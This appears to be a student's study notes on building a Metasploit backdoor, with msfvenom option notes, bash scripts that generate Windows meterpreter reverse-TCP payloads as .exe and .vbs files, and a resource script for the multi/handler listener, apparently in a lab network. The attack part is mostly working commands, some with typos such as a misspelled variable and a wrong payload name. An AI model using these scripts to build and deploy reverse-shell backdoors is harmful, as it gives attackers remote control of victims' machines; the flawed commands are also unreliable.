---
# System prepended metadata

title: Config metaspolit backdoor

---

# Config metaspolit backdoor

## msfconsole (server)

### Set handler (modudle 


![](https://i.imgur.com/3qKfJuq.png)
use directory

### set options 

![](https://i.imgur.com/8jyF5uF.png)
![](https://i.imgur.com/Skuc4O3.png)

### set payloads 


![](https://i.imgur.com/jpsN66u.png)


## Yield backdoor

### msfvenom
![](https://i.imgur.com/ocP8hPB.png)

- -p (payloads 
    - <b>OS /control way/ moduleName</b> 
- -a (architecture
- -- platform (OS  
- -f (form
    - check fileTypes ![](https://i.imgur.com/Ye64BJw.png)

- o (output

- Beacuse it's a reverse connect, we need to set local host  
LHOST = 
LPORT = 
    
    
## Listen the target 

![](https://i.imgur.com/EqeDy6B.png)

![](https://i.imgur.com/fR97EbJ.png)

- session layer
    - permission 
    - at 


    

## bashscript

### Yield backdoor script

- 太屌了 跟鬼一樣XD
```bash=

#set up parameter 

ip=10.0.2.15
port=4444
a=x86
platform=windows
f=exe
output=../../x86ReversTCP.exe 
payloads=windows/meterpreter/reverse_tcp

# execute commend 
msfvenom -p $payloads -a $a --platform $playform -f $f LHOST=$ip  LPORT=$port -o $output 

```

### Execute BashScript

![](https://i.imgur.com/irddGwD.png)


    
### modudleScript
```.rc
use exploit/multi/handler
set payloads windows/meterpreter_reverse_tcp
set LHOST 10.0.2.15
set LPORT 4444
exploit
```

#### Execute

![](https://i.imgur.com/aiKdYbX.png)

![](https://i.imgur.com/OL4pfCD.png)


---

## VBS 

- visual basic script
- Could execute .exe file in VBS'file.
- 原碼型腳本

#### BashScript
```bash=
ip=10.0.2.15
port=4444

a=x86
platform=windows
f=vbs 
output=x86ReversTCP.vbs
payloads=windows/meterpreter/reverse_tcp

msfvenom -p $payloads -a $a --platform $playform -f $f LHOST=$ip  LPORT=$port -o $output 

```


![](https://i.imgur.com/wirV4GH.png)

create object -> html document 
load xml  -> base64 

---

## Binds a backdoor








## HTA